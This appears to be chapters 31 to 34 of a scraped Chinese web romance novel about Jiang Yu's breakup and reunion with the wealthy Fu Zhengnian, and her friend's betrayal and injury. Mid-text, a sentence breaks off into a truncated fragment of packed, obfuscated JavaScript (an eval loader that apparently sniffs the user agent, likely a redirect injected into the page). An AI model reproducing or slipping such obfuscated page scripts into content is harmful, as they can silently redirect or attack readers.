跟他在一起久了,竟还真贪恋起了那些梦幻般的时光。 可梦总会醒的,不是吗? 付政年不知何时点燃了根烟,两道视线相撞,有的却只是无尽的悲凉。 江余看着他手中的一点猩红,烟雾缭绕,将他的脸笼罩其中。 她瞧不清他的脸,只听到他在车流涌动的夜里黯然开口:“江余,起雾了。” 记忆被拉到数月前,她在情潮褪去后问他,“你什么时候放我走。” “等北京大雾弥漫,抬头不见天时。” 现在起雾了,他们也该散场了。 饶是早就准备,可真到这一刻,她的心还是被刺痛了一下。 他这人啊,温情也无情。 温情到会考虑她那点可怜的自尊心,用这种方式让她认清现实,在离开之前还特地带她来这儿,给她最后的体面。 以后无论遇到什么事,如果碰到这些人,他们多少都会给她几分面子。 可他也无情到一句承诺都不愿给。哪怕情动缠绵之时所说的情话,也都保留七分。 江余吸吸鼻子,扯出一个笑,故作平和道:“这段时间谢谢你,再见。” 付政年平静颔首,眼睛还是一如既往的深邃,从不轻易叫人窥探到其中情绪,“以后如果遇到什么事,不想来找我的话就联系付岱或是陈和畅,他们会帮你。” 江余轻轻抿唇,“嗯,我知道了。” 她又看了眼面前这个将人隔成两个世界的新都会所,转身离开时不禁在想, 他那双看遍万千浮世红尘的眼眸,是否停留过她的身影。 32. 32 和付政年分开后,江余打车回了家,并不是她和付政年的住的地方,是她之前的家。 这个地方自从装修好之后就没怎么住过,她开门进去时就觉得有一大股潮味。 可如今她感觉浑身疲惫,也没有挑剔,洗完澡就直接睡了。 第二天是周末,她睡前关闭了所有的闹钟,直接一觉睡到了下午一点才醒。 很久没有睡过那么舒服的觉,醒来后她只觉得浑身轻松,看着空落落的房子,她下午给家里来了个大扫除,出门买了一大堆的装饰品回来。 经过她一番装点之后,这个房子看起来舒服多了。 江余心满意足的拍拍手,一看时间都已经快晚上了,她这才想起她这一整天都没有吃东西,又下去超市买了菜回来做饭。 只是在厨房里清洗食材时,她总会下意识往旁边看,等反应过来后又默默收回目光。 在一起的这半年,她早就习惯了有付政年的存在,如今突然分开,自然是要花时间适应的。 她这样跟自己说。 所以为了早些适应,接下来的一段时间,她一直没有让自己闲下来,每天都要在公司待上许久,回家也是直接睡觉,这架势,倒是比之前还要努力不少。 白恬怕她身体遭不住,劝了好几次,只不过都没什么用。 江余这段时间都是住在之前的家中,一直没有回过付政年买的那套房子。 这周五她还在公司,就接到了宫白卉的电话。 宫白卉说过来看看她,现在就在她家楼下,挂断电话后就给她发了个位置。 江余点开一看,一时间有些欲哭无泪,她应该早些告诉宫白卉她如今住在哪儿的。 怕宫白卉等的太久,江余收拾了一下直接打车过去。 一见到她,宫白卉就跑上来挽住她,“余余,你和他分开那么大的事,怎么都不跟我说一声,要不是姓梁的告诉我,我都还不知道。” “这有什么好说的,迟早的事。”江余云淡风轻地说,“你今天怎么想着过来找我了。” “这不是怕你难受吗,就过来陪陪你。” 江余明显不信,她笑道:“是跟你爸吵架了吧。” 宫白卉吐吐舌头,“当然也有这部分原因,我都多大的人了,现在还是天天训我,听的烦了就跟他顶了两句嘴。” 江父还在世时,宫白卉天天说羡慕江余有那么善解人意的爸爸。 江余每次都只是一笑置之,他哪里是善解人意啊,只不过是不愿意在她身上浪费时间罢了。 江余带着宫白卉上楼,推门进去,宫白卉看着屋子里面属于付政年的东西还原模原样的没动过,不禁疑惑道:“余余,你怎么还没有把他的东西收了丢出去,看着不闹心吗?” 江余笑了笑,“我今天刚回这里,一直没时间。” “正好今天我也没什么事,就跟你一块儿清理吧。”宫白卉自告奋勇的说。 说完她就起身,兴致勃勃的去找袋子。 江余忙拦住她,开玩笑说:“急什么,他的东西可都不便宜,挂在网上兴许还能卖点钱。” 宫白卉突然沉默,她直勾勾的盯着江余看了一会儿,突然道:“余余,你该不会是舍不得吧。” 江余笑着拉她坐下,“别忙活了,坐着休息会儿吧,等下出去吃饭。” 两人认识那么多年,宫白卉是极为了解她的,她当下就明白了,恨铁不成钢的说:“一开始的时候我都提醒过你的,你怎么也还是走上了这条路呢,有我一个人犯傻还不够吗,你也要要掺和一脚。” 说着她的眼睛就红了,也不管江余阻拦,非要把付政年的东西丢出去,说:“眼不见心不烦,把这些东西都丢了,你就不会难受了。” 江余长叹一口气,有些无力的开口,“白卉,你总得给我一个缓冲的时间吧。” 宫白卉泄了力,一下跌坐会沙发,她转身紧紧抱住江余,哽咽着在她耳边说了句“对不起,那天我不该叫你去康乔的。” 江余拍她的背安慰道:“都已经过去了。” 宫白卉哭的格外伤心,似乎此刻“失恋”的这个人是她一样。 这晚她们也没有下去吃饭,是用手机叫的餐,还点了不少的酒,宫白卉喝上头了,一直在骂她“男朋友”和付政年。 江余看她这样也是哭笑不得,想着明天不上班,也就由她喝了。 宫白卉后来觉得就这样喝酒缺少点氛围,就把灯开到最暗,用手机放起了歌。 “余余,你说,我们已经有多久没有这样放纵过了。”宫白卉四仰八叉的躺在沙发上,似有所感地问。 江余轻声道:“我也不知道,但应该挺久的了吧。” “我记得上一次我们喝醉是你去法国比赛拿了第一名回来的那晚,都已经过去快四年了啊。” 宫白卉这样一说,江余也才反应过来,原来都已经过去那么久了。 “那时候我们还说,你以后如果成名,我就去给你当助理,然后你养我一辈子。” “也幸好是没成真,”江余说,“不然让你这样一个新闻学的高材生去给我当助理,那不是屈才了吗?” 宫白卉往旁边转换了一个位置,靠在江余身上,“怎么会呢,要是真到那时候,跟着你迟早能够见到我的偶像,那就叫公费追星,别提有多高兴了。” 江余推了下她的头,揶揄道:“你这偶像一年一换,你见得过来吗?” 宫白卉嘿嘿笑了声,说你不追星肯定不懂,“那时候看着你和宋逸那么甜蜜,我可羡慕了,当时还想,以后找男朋友也一定要找一个满心满眼都是我的,谁知道他后来竟干出这种事来,而我呢,也爱上了个混蛋。” 突然间,她的语气竟也沉重起来,“余余,你说我们为什么都走上了一条跟之前预想完全不一样的路呢?” 是啊,究竟是为什么呢? 如果说成长的代价那么痛,那我多想做一个永远都长不大的孩子啊。 * 付政年这段时间也是各种行程拉满,之前许多不愿意去的饭局也不再推脱,有人叫他去捧个场,他也每次都去。 可身处喧嚣的环境中,他却始终提不起一点兴趣来,只觉得没劲透了。 这天他在康乔坐了一会儿,感觉没什么意思,就先走了。 刚走出电梯,他就看到门口蹲着一个人,她的头发披散挡住了脸,可付政年还是一眼认出了她。 这一刻,他竟没由来的有些许紧张,脚步也放慢了不少。 听到动静,江余迅速抬头,看到是他的时候眼睛一亮,一下便站了起来。 由于蹲的时间有些久,起来的也急,她眼前忽然一黑,一个没站稳就往旁边跌去。 幸好付政年眼疾手快的扶住她,这才让她幸免摔在地上。 等她站稳后他才开口,“你怎么来这了?” “我来找你啊。”江余笑着说。 看着她那隔着衣服都能感受到温度的手,付政年皱了下眉,“外面不冷?你又不是不知道密码,怎么不进去等。” “我们现在这关系,我随随便便进你家,好像有点不太合适。” 付政年瞧她一眼,那你大晚上的在这蹲着就合适了? 他输入密码开门,侧身让她进去。 进去后,江余看到玄关处她之前穿过的拖鞋还在时轻轻勾起唇角。 “来的时候怎么不提前给我发个消息,假如我今晚不回来呢,你准备一直在这儿守着?” 不知是不是因为她刚才那话,付政年如今的语气听起来十分冷淡。 江余心说那怎么可能,最多再等一会儿,你还没有来我就走了。 至于为什么不发消息呢? “我怕给你发了消息,你就不想见我了。” 听到这话,付政年顿觉她今天来没什么好事,当下便问:“你今天来找我是有什么事吗?” 从见面到现在,他们说的话统共就这几句,现在鞋都没换完他就问她的目的,就那么着急跟她撇清干系吗? 想到这,江余看他的眼神难免有些幽怨。 付政年也被她这眼神看的有些莫名其妙。 下一瞬,江余忽然上前一步伸手环过他的腰,把头靠在他的胸膛上,轻声道:“付政年,我再陪你一程吧。” 这段时间她虽看起来跟个没事人一样,但其实只有她自己知道有多难熬,总是时不时的想起他来。 她虽刻意回避跟他有关的一切,可私下她总是忍不住从付岱或是陈和畅的动态里寻找与他有关的蛛丝马迹。 都快一个多月了,她始终没办法习惯没有他的生活,每每想起来,总觉得心里像是缺了什么东西一样,疼的她难受。 所以她选择放过自己,来找他了。 我们就再纠缠一段时间吧。 下次离开的时候,我就不再回头了。 付政年没有推开她但也没有去抱她,他垂眼看着她,感觉他越发的看不透这人了。 一开始认识的时候她避他如蛇蝎,就算答应跟着他,态度也总是不冷不淡的,后来就算热络些了,但那天她走的时候照样干脆。 他根本想不到她还会回头找上他。 可她偏生就这么做了,人还切切实实的在他怀里呢。 长久没有得到回应,江余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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既然决定要来,江余自然把一切的事都想到了,她说:“我早就想过了,如果我今天没有等到你,那我就明天继续来,如果你已经有了其他人,那我就说是之前有东西落你这了,今天过来取。” 付政年被她这无赖劲逗笑了,“你就不怕我把你的东西都丢了?” “丢就丢了呗,反正也只是一个借口,而且我本来也没抱多少希望。” “怎么说?” 当然是觉得你这样的人,在分开的这一个月里,早就有新欢了呗。 这话江余自是没有说出口,她翻了个身,伸手挡了下头顶照射下来的灯光,轻声说:“你陪我去趟三亚吧。” 付政年一口应下,“行啊,不过怎么突然想起要去三亚了?” “很久之前就想去体验一下冲浪了,因为害怕就一直没去。” “现在不怕了?” “我都能克服开车的阴影了,还有什么过不去的。” 分开的这一个月里,江余为了防止自己东想西想,就去学车,之前她有考过驾照,上手也快,一开始确实害怕,后来就慢慢克服了。 “厉害啊,”付政年笑说,“我可以陪你去三亚,但是冲浪是陪不了你了,叫上陈和畅吧,让他陪你。” “为什么?”江余蹙眉看向他,“你不是会游泳吗?” 付政年伸手把她的眉头舒展开,缓慢道:“付家有条家训,不能玩危险项目。” “......”江余一下就有些无语,她又问:“那除了这还有些什么?” 付政年想了想说:“太多了,不过还有个就是在外不能打架。” 江余觉得有些意思,支起头笑了下,“不玩危险项目我还能理解,但是这不能打架是个什么意思。” “老爷子说,是怕我们在外面惹事,传出去丢人。” “......” 付政年行动也真是迅速,后面两天他把工作安排了一下,周四就带着江余去了三亚,陈和畅几人也被拉去陪玩。 他们看到付政年和江余又勾搭在一起的时候,也是极为震惊的,不敢问付政年,就只能寻机会偷偷问江余。 江余也没有隐瞒,直接跟他们说是她后来又去找的付政年。 江余学冲浪并不顺利,尤其是第一天的时候,掉进水里不知道多少次,看的付政年直揪心,跟她说要不就别学了。 但她秉承着来都来了,就这样放弃了多可惜,坚持两天之后总算是勉强够看了。 刚开始落水的时候实在难受,几度被海水涌入鼻腔,呛的她一直干呕。 可后来她竟有些沉迷这种窒息,每一次从水里出来,都像是在生死之间来回走了一遭。 33. 33 又跟江余搅合在一起的事不可能瞒得住,所以付政年从三亚回来的当天晚上就直接回了家,主动跟付鸿习坦白了这件事。 付鸿习一脸失望的看着他,冷冷道:“我以为你是个知道分寸的,谁曾想,你竟在这件事上犯了糊涂,你爸要是知道了,你是清楚后果的。” 说起付兴平,付政年心中的怨念就控制不住,他说:“他吗?他只不过是比我幸运些罢了。” 付兴平跟前妻是青梅竹马,两人感情深厚,所以前妻去世后一直走不出来,但当时又需要万家的帮忙,就娶了付政年的母亲。 但就算跟付政年的母亲结婚了,他心里也一直放不下前妻,所以对齐家一忍再忍。 但后来万家遇到了事,付兴平不但选择了袖手旁观,甚至还急着撇清干洗,付政年母亲当时还怀着孕,听说这件事后开车去找付兴平,路上出了车祸,还引发了早产,送到医院没有抢救回来,死在了产房里。 这也是付政年这些年一直跟付兴平不对付的原因。 付鸿习还极少见他这么固执的时候,他语重心长道:“政年,你听爷爷一句劝,这件事就到此为止行吗,你和江家那丫头的事闹得太大了,对你多少都会有些影响,你总不可能这辈子都不结婚吧?” “为什么不可能呢?”他抬眸看着付鸿习,眸光晦暗,神色无比认真。 他说,为什么不可能呢,爷爷。 付鸿习嘴唇盒动,看着他一句话都没说出来。 付政年拉起他的手,脸上尽是无可奈何的颓然,沉默许久后才开口,“爷爷,从小到大我都没求过您什么,这一次,您能不能就由着我。” 听到这近乎哀求的话,付鸿习心疼的不行。 当初他母亲那件事,为了付家他默认了付兴平的做法,因为心里有愧,所以这些年他一直偏宠着付政年。 这是这么多年来,他都一次听到付政年用这般语气跟人说话。 他仔细端详着他,这群孩子虽然在外面看似风光无限,但是背地里承受了多少也只有他们知道,他终究是不忍心,他摆摆手,叹息道:“罢了,只要付家不出事,其他的,都由你吧,你爸那边,我会去跟他说的。” 付政年轻扯唇角,笑意未达眼底,他知道,这已经是付鸿习做出的最大让步了。 他也只能做到这儿了。 “爷爷,谢谢您。” * 宫白卉再次来找江余时,屋子里就已经不是她一个人了。 她看到二人又藕断丝连,两眼一黑差点没气死,把江余拉出去就是一阵批斗。 江余说她只要一想到付政年日后也会跟一个不熟的人搭伙过一辈子就有些心疼,趁现在还有机会,至少让他开心些吧。 宫白卉无语到了极点,“你这是精神扶贫啊?” 江余轻轻一笑,“哪能啊,你也太看得起我了,他只要想,马上就能有新欢,至于我啊......” 她感慨一声,“可能就是想撞撞南墙吧。” 宫白卉没再说话了,她觉得自己也没什么资格劝江余,毕竟她的所为,可比江余不识好歹多了。 这些年有付政年撑着,付岱逍遥太久了,付鸿习看不下去了,就让他滚去底下的分公司历练两年再回来。 他都发话了,其他人哪有说话的权利,付岱只能收拾东西滚出北京城。 他走的前一晚组了个局,中二的说是要祭奠他死去的青春。 付政年有时候是真的嫌弃这个弟弟,当即便没忍住说:“你的青春早就被你挥霍没了,还用得着多此一举?还有,就你这样,是换了个地方就能消停的?” 虽然说的没错,但付政年这话可谓是一点面子都没给他留,付岱又不敢直接跟他顶嘴,就跟江余告状,“嫂子,你也不管管四哥。” “我哪敢管他啊。”江余笑着说,随后便纠正他,“你以后叫我江余就行。” 付岱闻言偷瞄了付政年一眼,只见他神色未改,搭在江余肩上的手也没有收回,这一瞬间,很多东西他都明白了。 他笑了下,说他们两个就是一伙的,后面便去跟其他人玩了。 也是从这一晚开始,再出去的时候便没有人再叫过江余嫂子。 章烨磊虽然订了婚,但是却并未说什么时候结婚,而且他该玩的还是继续玩,并未因为订了婚而有所收敛。 有一次她和宫白卉去逛街,在商场偶遇了章烨磊的未婚妻和一个男人在一起,他们的关系看起来十分亲密。 她看到江余也毫不避讳,大方的跟她打了个招呼。 江余那一瞬间的表情可谓是丰富极了,一开始她以为是章烨磊避着她在外面乱来,如今看来,他们反倒是像达成了某种协议一样,互不干涉对方的私生活。 她也为自己当初的担忧觉得可笑,付政年怎么会是一个能被婚约束缚住的人呢? 转眼又是一夏,奶奶忌日这天,付政年陪着她去了墓园,待了许久才回家。 上海分公司的事基本已经落实的差不多了。 她这段时间也是常常往返两地,待在北京的时间并不多。 回去之后付政年一边在她驰骋,还不忘控诉她,“你自己想想,这个月你回来过几天,怎么如今倒成我在这里数着日子等你回来了?” “那之前你老是出差,我不也没说什么吗?” 付政年突然加重力道,低头在她耳垂上咬了一下,“所以你故意的?” 江余没忍住惊呼了声,听出他话中的威胁,明天她还有事,今晚可不能由着他胡来,就克制住声音里的颤意给他顺气,“没有,那边的事快处理完了,后面宁叔过去后就不怎么需要我管了。” 说完又主动凑上去亲他,“别生气了好不好。” 她现在哄人的技巧是越来越熟练,几句话下来,付政年原本还有些郁闷的心情瞬间就舒服多了,因此也就没再刻意折腾她。 江余没有把她打算将公司的重心往上海移这件事告诉付政年,一来是因为这只是她的预想,能不能实施还要另说,二来也是有些怕就算跟他说了,他的态度也是那般无足轻重的话,那就是给她自己找不痛快了。 这一次在一起后,许多事江余都看开了,觉得与其杞人忧天的去想未来的事,不如好好珍惜现在。 宫白卉跟梁宁策在一起那么久,江余是见过他的,当时看他看宫白卉的眼神,她十分确定梁宁策是爱宫白卉的。 所以她以为他们就算会分开,可能也还有个几年。 哪曾想这天来的会那么快。 一接到电话,江余就从公司出来直奔医院。 等她到的时候,宫白卉身上的伤已经处理好了。 江余看着她满头的纱布,皱着眉问:“这是怎么回事?” 因为失血过多,宫白卉现如今的脸色苍白的不像话,但她还是对着江余笑了下,艰难出声:“还能是怎么回事,被他老婆打的呗。” 今天宫白卉和梁宁策去了一个度假酒店,吃完饭他们就去楼顶泡温泉,谁知道冤家路窄竟碰到了梁宁策的老婆。 平时梁宁策在外面玩就算了,可迎面遇上了,当着那些个姐妹的面,谁忍的下这口气,当即就呼吁众人一拥而上,各种拳打脚踢,扯头发,扇耳光全都在宫白卉身上来了一遍。 梁宁策一开始还护着她,可听到他老婆说完“你要是不嫌丢人,我不介意把这件事捅到两家长辈面前去”后,就站在一旁去了。 梁家并非他一个儿子,如果不是有岳家的支持,他在梁家不会好过,所以梁宁策也不敢轻易得罪他老婆,只能眼睁睁看着宫白卉挨这一顿毒打。 宫白卉自嘲地笑了下,“酒店的工作人员也不敢得罪她,没人敢报警,如果不是章总出面劝诫,兴许我今天就要交代在那了。” “谁?”江余一下有些懵? “章烨磊。”宫白卉说,“我跟他并不认识,唯一一次接触还是之前跟你一块遇到过,他是看在你的面上才帮我的。” 江余是真没有想到章烨磊会管这个闲事,可如今她更担心的还是宫白卉的伤,她刚才看病历,看到她的头部缝了五针,她拧眉道:“有时间我会好好谢谢他,现在你怎么样,说那么久话了,要不要休息一会儿。” 宫白卉摇摇头,“余余,你再陪我说说话吧,我一个人待着难受。” 看到她这样,江余心里十分不是滋味,“好,我就在这陪你说话。” “这件事你别告诉我爸,我会找个借口骗他说我出去玩一段时间,我不想让他知道,他的女儿干出那么丢人的事来。” “好。” “余余,其实我不怪她,毕竟确实是我插足了他们的婚姻,她生气我理解的,让我难受的是梁宁策的态度,他之前嘴上说的那么爱我,结果,竟真能眼睁睁的看着他老婆这样对我。”宫白卉眼睛突然就红了,眼泪紧跟着流下。 江余怕她的眼泪流到伤口上,在一旁不停拿纸给她擦着。 这些话在宫白卉心里憋的太久了,一打开话匣子就收不住,她说:“余余,你知道吗,我一开始是真的想过,他会不会离婚跟我在一起,所以就抱着这点幻想跟了他那么多年,今天看到他怯懦的样子,我才知道,这一切都是他骗我的,他根本不可能离婚,更不可能跟我在一起。” “那分钟我与其说是恨他,不如说是恨自己,恨自己眼瞎,竟然爱上了个烂人,出事后一点担当都没有,只会把女人推出来挡锅的烂人。” 听着她悲声控诉,江余不知何时也红了眼眶,她怕宫白卉太过激动待会儿把伤口撕裂,便出声安慰道:“没关系的,都过去了,早些离开也好,以后会好的。” “余余,你说,我落到今天这个地步是不是活该啊?” 江余不知道该怎么回她这话,只能说不要想太多,谁年轻的时候不犯点错。 毕竟宫白卉后来是知道梁宁策有家室的,可她还是选择了充耳不闻,她实在昧不着良心说她没错。 可能是真的受到刺激了,宫白卉把藏在心里的话全都说了出来,“余余,对不起,那天我不该叫你去康乔的。” “我们不是说过了吗,这件事过去了,不提了。” “过不去,余余,”宫白卉紧紧握住她的手,紧跟着又重复了一遍,“过不去的余余,那天我是故意叫你去的。” 江余顿时怔住。 “梁宁策之前有个合作想要找上许氏,但许氏那边有更好的选择,为了促成这个合作,他就去查了贺家的人,知道贺文瑞之前苦追不得的那个人是你后,他跟我说,让我帮帮他,这个项目成了之后他就不用受到掣肘,就能离婚娶我了。” 她歇了下,又哽声说:“我当时拒绝了,我说我不能把你推入深渊,可他跟我说不需要你做什么,只要让贺文瑞出出气就好,还说如果我不放心,就让简娆姐陪着,如果出什么事让她报警就好,后来我就心动了,所以就借着许平的由头把你骗到康乔。可我不知道,他早就料到简娆根本不敢轻易得罪这些人,对不起余余,是我害了你。” 如果不是那天,江余根本就不会去求助付政年。 可她不找上付政年,她就注定要遭贺文瑞的毒手。 江余的生活,也是从那天起彻底被打乱了的。 宫白卉知道后,一直良心难安,无数次都想跟她坦白,但始终 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可看到她如今这个样子,江余却是什么重话都说不出来,她深吸口气,努力压下心中怒火,冷脸把她脸上的泪珠擦干,“别哭了,过去的事就不提了,你先好好休息,把伤养好再说。” “余余,对不起,我真的......” “我没怪你,但我现在确实挺难受的,你先休息吧,让我缓缓。”江余打断她说。 气归气,但到底从小一块儿长大,除了这事,宫白卉无论遇到什么都会第一时间维护她。 而且事情都已经发生了,怪她也没什用。 事情也回不去正轨。 宫白卉伤的严重,离不了人照顾,江余只好在医院陪她几天,就打电话叫付政年给她送些东西过来。 付政年来时就看到她坐在病房外的走廊上,一副恹恹的神情。 他走过去坐下,伸手揽住她,柔声问:“怎么了,她伤的很严重吗?” 江余点头嗯了声,“确实挺严重的,胳膊骨折了,头上缝了五针,脸上也受了不少伤,如果不是章烨磊出面阻止,只怕这事没那么容易善了,改天有机会我得好好谢谢他。” 付政年拍着她的肩,轻声安抚她:“没事,我打个招呼了,明天会有皮肤科的医生来给她看看,不会留疤的。” 如果是之前,江余是断不会在大庭广众之下和他如此亲密的,但现在她心里有事,也就没在乎那么多,她将头靠在他肩上,吸取一丝温暖,半晌后缓缓出声:“付政年,如果你哪天要结婚了,记得提前告诉我。” 我不想有朝一日背上小三的骂名,被人打了连还手的资格都没有。 她的声音听起来十分疲累,付政年几乎可以确定,她心情不好并非全是因为这件事,他捏着她的脸让她看着他,“余余,跟我说,到底发生什么事了。” 江余摇头说没事。 付政年不信,十分有耐心的诱哄她说出来,“跟我说说,让我看看谁胆子那么大,敢叫我们余余不痛快。” 江余被他逗笑了,说如果是你呢? “那我让你打两下出出气怎么样,或者你告诉我,要怎样你才能消气,只要你高兴,让我干什么都行。”付政年大手在她脸上揉了揉,眼神温柔的差点没把她融化。 “真的什么都行?” “当然,把命给你也行。” 为了向她表示他并未说谎,付政年握着她的手放到心上,让她感受自己的心跳。 路过的小护士朝他们看了好几眼,嘴角的笑意藏都藏不住。 “行了,别闹了,我真没什么事,”江余脸皮还是没他那么厚,受不了别人这种赤裸裸打量的目光,“就有感而发,要说真有什么事,也是被梁宁策气的。” 说到这江余才想起来,“那个度假酒店里面人肯定多,这件事难免会流传出去,你能不能帮我压一下。” “放心,章烨磊已经处理过了。” 江余松了口气,“那就好。” 付政年不乐意了,“我在这里问你大半天你一句话不说,让我帮忙也是为了你朋友,你自己的事就那么不重要?” “......” 江余也没搞懂他的脾气怎么就上来了,只好说:“不是不重要,真的是小事,过几天就消化了。” 总不可能还叫你因为我去找梁宁策的麻烦吧。 知道她的性子,付政年也就没再多说什么,把她要的东西递给她,叮嘱道:“东西都在这了,这几天公司有些忙,你不回家的话我也就不过来了,等忙完了我再来看你,你也别太累了,照顾好自己,有事给我打电话。” “好。” 江余又抱了他好一会儿,才放手让他离开。 * 宫白卉在医院待了一个星期就可以出院了,但她又不敢回家,江余就让她住到她家里去了,但她平时没什么时间,就给宫白卉叫了个护工。 如果是从前,宫白卉定要说她重色轻友,把她一个人丢在这边,自己跑去跟付政年在那边逍遥快活,可自从那天她跟江余坦白之后,这些话她便怎么也说不出口了。 梁宁策这段时间来找过宫白卉好几次,通过这件事,也确实让她看清了这个人,就一直没再见他。 刚开始那几天,他天天跑来医院,江余也烦不胜烦,后来借用付政年的名头才让他收敛了一些。 可宫白卉出院后,各种电话和道歉短信还是接连不断的来,让她好不容易缓和一些的心情再次起波澜。 江余没办法了,只好求助付政年,就一个电话的时间,付政年就跟她说解决了,以后梁宁策不会再去骚扰宫白卉。 江余感叹了一句这就是权势的力量。 而她,这是不是就叫狗仗人势了。 34. 34 经此一事,宫白卉变了不少,她的话没有之前多了,时常死气沉沉的,眼睛里面一点光芒都没有。 江余怕她这样下去会给自己憋坏,一有空就陪着她出去闲逛,散散心。 失恋这种事吧,别人劝一般没多大用,只有自己走出来才算是过去。 可宫白卉这次明显是动了真格了,一时半会可能是缓不过来的。 可距离事发到现在,她已经离家太久了,如果再不回去,只怕宫父都要开始满世界找她了。 这天江余下班后也没什么事,就开车送她回去,因为之前和宫父闹的不是很愉快,江余就把她送到小区门口,没打算进门。 离开前宫白卉宫白卉感激地看着江余,垂眼道:“余余,谢谢你啊,帮我收拾了那么多烂摊子。” “我也没做什么,要说功劳,帮忙的那两位才是真正的功臣。”江余笑道。 “那也是看在你的面子上,平白让你欠了他们人情,我还怪过意不去的。” “付政年无所谓,欠就欠吧,反正我欠他的也不止这件事,至于章烨磊,有机会我帮你好好谢谢他就行,别想太多了,快回去吧,你爸肯定都担心死你了。” 说完江余就催促她赶紧回去。 “行,那我上去了,你回去的路上注意安全。” “嗯,知道了。” 一个星期后,再收到宫白卉的消息,就是她说她准备去自家公司上班了。 她之前总是定不下心来,这次受到的打击不小,心气没了,宫父跟她提了一嘴,她就答应了。 江余想着这样也好,有事情干,也省的她一天胡思乱想。 时间就这样不紧不慢的过着,转眼间就来到15年,罗欣瑜也从伦敦回来了,这些年有陈婷的帮助,她已经有了不小的名气,这次一回国,就有资方特地为她筹背了一场演奏会。 她忙着准备,江余这边也一直有事走不开,两人一直没寻到机会见上面,罗欣瑜只好让人给她送了两张门票过来。 毕竟是她回国首秀,江余怎么着也要过去,她本来想叫付政年陪她一起去的,但他手里的项目最近出了点问题,这段时间也是焦头烂额的,她就想着算了吧,就拉上宫白卉一起去了。 出国两年,罗欣瑜不但技术提升了不少,身上的气质也跟之前大不相同了,她落落大方的站在台上,那张脸没什么变化,身体里从内向外散发出的自信才是最为耀眼的。 这一场演出十分成功,江余知道,这将会是她打开知名度首站。 看着她如今的改变,江余也感到十分欣慰,她早就知道,只要有一个机会,罗欣瑜一定会成功的。 宫白卉看到最后,只说了句:“你原本也有机会的。” 语气里带着满满的惋惜和遗憾。 “说这些干什么,走吧,为了感谢你百忙中抽空陪我过来,我请你去吃饭。”江余满不在乎的说。 她早就看到了侯在前面的记者,罗欣瑜今晚又得忙,怕是没时间跟她见面,演奏结束后,她就准备带着宫白卉撤了。 “那我要吃最贵的。”宫白卉拿上包挽着她起身。 “行啊,”她一口应下,“好歹奋斗了这几年,不至于一顿饭都吃不起,你想吃什么吃什么。” 宫白卉立即抱着她的胳膊撒娇,“余余,我不想努力了,你养我吧。” “这不行,你太能吃了,养不起。” “我哪里能吃了。” “你不能吃吗,那上次......” 宫白卉伸手去捂她的嘴,“那只是偶尔好不好。” “好好好,我不说了。” 两人就这样一边嬉闹一边往外走,宫白卉比江余想象中的还要坚强,不过短短半年,她似乎就已经从之前的阴霾中走了出来,又变成了之前那个活泼开朗的姑娘。 * 等罗欣瑜腾得出时间来跟她见面已经是两周后了,因为她现在的身份备受关注,所以选的位置也比较讲究,江余找了好一会儿才找到。 罗欣瑜今天穿了件淡紫色的开衫毛衣,下面搭了条白色的绸面A字裙,之前的长直发也烫成了大卷,身上早已没了之前的稚气,多了几分成熟的韵味。 这两年,宫白卉就回来过一次,但因为时间紧急,她没时间来见江余,只回老家待了两天又匆匆出国。 江余在她面前坐下,浅浅一笑,“好久不见。” “两年了,”罗欣瑜笑说,“这段时间一直忙,总是不得空,一闲下来就来找你了,你可别怪我。” “怎么会,你刚回国事情本来就多,我还不至于那么不近人情,今天怎么就你一个人,怎么不把你男朋友带出来见见。” 半年前罗欣瑜就跟江余说她交了男朋友,对方比她小两岁,也是去伦敦的留学生。 “他今天公司有点事,所以来不了,等下次有机会再带上他吧。” 她把菜单递给江余,“今天这顿我请,你可不许跟我抢。” “行,不跟你抢。”江余笑着接过,按照记忆点了几份两人从前都爱吃的菜。 罗欣瑜心间涌现一阵暖意,眼睛也不自觉的红了,“你竟然还记得我喜欢吃什么。” “哪能忘啊,我还怕你这两年习惯了伦敦的口味,吃不惯了呢?” “怎么会,刚去的时候哪哪都不习惯,后来是没办法了,只能逼着自己习惯,实际上每天都在倒数着日子,希望能够赶紧回来。” 江余听到后也止不住的心疼,罗欣瑜虽然是跟着陈婷一块儿去的,但是陈婷平时定是十分忙的,一开始什么都得她自己一个人处理,而且她英文不是很好,有时候沟通都很费劲。 那段时间,她肯定是极难熬的,不过还好,现在总算是熬出头了。 “你真的很棒,”江余认真夸赞道,“前段时间我看你面对记者的刁难,能够那么游刃有余的应付,真的很为你感到骄傲。” 罗欣瑜弯起唇角,“你还不是,我听说你公司现在的业务越来越广,还在上海开了分公司,你半路出家能够做到如今那么好,我也很为你骄傲。” “行了,”江余笑着摇头,有些受不了这商业互吹的模式,“我们就别在这互夸了,听起来怪难受的。” 罗欣瑜笑着说好,便将话题扯到了他们大学的时候。 为什么不说现在呢? 因为好像不知道从何说起。 两人如今所走的方向不同,说音乐,罗欣瑜怕江余会难受,说商场的事,江余怕罗欣瑜听不懂。 谈感情,罗欣瑜的男朋友是正儿八经谈的,而她和付政年,跟正常的恋爱关系完全不沾边。 分开的这两年,她们早已没有了可以一起讨论的话题,但又不想叫这个气氛冷下去,只好把之前老生常谈的话题再拿出来反复鞭挞。 不过那又有什么关系呢,往后日子还长,她们总会找到共同话题的。 这是她们当时的想法。 直到后来两人一年到头因为各种原因连面都没法见一次时,她们也才知道了何为往事不可追。 原来生命中的很多人,真的会走着走着就散了。 没有争吵,没有矛盾,只不过走的路不同,就不再同频罢了。 * 这些年付政年不知道是怎么应付他家里的,无论什么场合,他总是光明正大的带着她出席,一点儿也不避讳。 不知道内情的,好多都人为她以后会是名正言顺的付太太。 16年5月,朱文华的老婆胡书艺生了个女儿,虽然朱文华对江余有很大的意见,但她还是精心挑了一份礼物跟着付政年一起去了满月宴。 胡书艺也是出生于高知家庭,两人也算是门当户对,相识没多久就结婚了,一年的时间孩子也出生了。 跟朱文华不同,胡书艺跟江余倒是比较投缘,只要坐一块就能聊许久,所以一到地方江余就被胡书艺叫过去了。 孩子还小,一天有很长时间都是在睡觉,就下午醒了一段时间,江余看着那粉雕玉琢的小姑娘,也是爱不释手,抱着她玩了好一会儿。 付政年跟朱文华几人坐在角落聊天,远远看到这一幕,几人都各有所思。 